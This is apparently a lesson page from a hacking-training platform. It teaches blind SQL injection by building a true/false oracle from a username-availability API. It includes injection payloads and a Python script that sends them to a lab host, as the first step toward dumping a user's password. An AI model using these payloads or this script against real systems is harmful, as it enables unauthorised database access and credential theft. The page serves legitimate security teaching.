Blind SQL Injection  

Designing the Oracle

Theory

We want to write a script that will exploit the blind SQLi we found to dump the password of a target user. Our first step is to design an oracle that we can send queries to and receive either true or false.

Let's say we want to evaluate a basic query (q). Since we know the username maria exists in the system, we can add ' AND q-- - to see if our target query evaluates as true or false. This works because we know the server should result status:taken for maria and so if it remains status:taken then it means q is evaluated as true, and if it returns status:available then it means q evaluated as false.

SELECT Username FROM Users WHERE Username = 'maria' AND q-- -'

For example, to test the query 1=1 we can inject maria' AND 1=1-- - and receive the result status:taken which indicates the server evaluated it as true.

image

Likewise, we can test the query 1=0 by injecting maria' AND 1=0-- - and receive the response status:available indicating the server evaluated it as false.

image

Note: We must use a username that is already taken, like maria for this web app or any other user we register. This is so a query that returns true would give us taken. Otherwise, if we use a username that is not taken, then the output of any query would be available, whether it's true or false.

Practice

In Python, we can script this as follows. The function oracle(q) URL-encodes our payload (maria' AND (q)-- -), and then sends it in a GET request to api/check-username.php. Upon receiving the response, it checks if the value of status is taken or available, indicating true or false query evaluations respectively.

#!/usr/bin/python3

import requests
import json
import sys
from urllib.parse import quote_plus

# The user we are targeting
target = "maria"

# Checks if query `q` evaluates as `true` or `false`
def oracle(q):
    p = quote_plus(f"{target}' AND ({q})-- -")
    r = requests.get(
        f"http://192.168.43.37/api/check-username.php?u={p}"
    )
    j = json.loads(r.text)
    return j['status'] == 'taken'

# Check if oracle evalutes `1=1` and `1=0` as expected
assert oracle("1=1")
assert not oracle("1=0")

Question

Use the oracle to figure out the number of rows in the user table. You can use the query below as a base:

(select count(*) from users) > 0

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next
Go to Questions
My Workstation

OFFLINE

/ 1 spawns left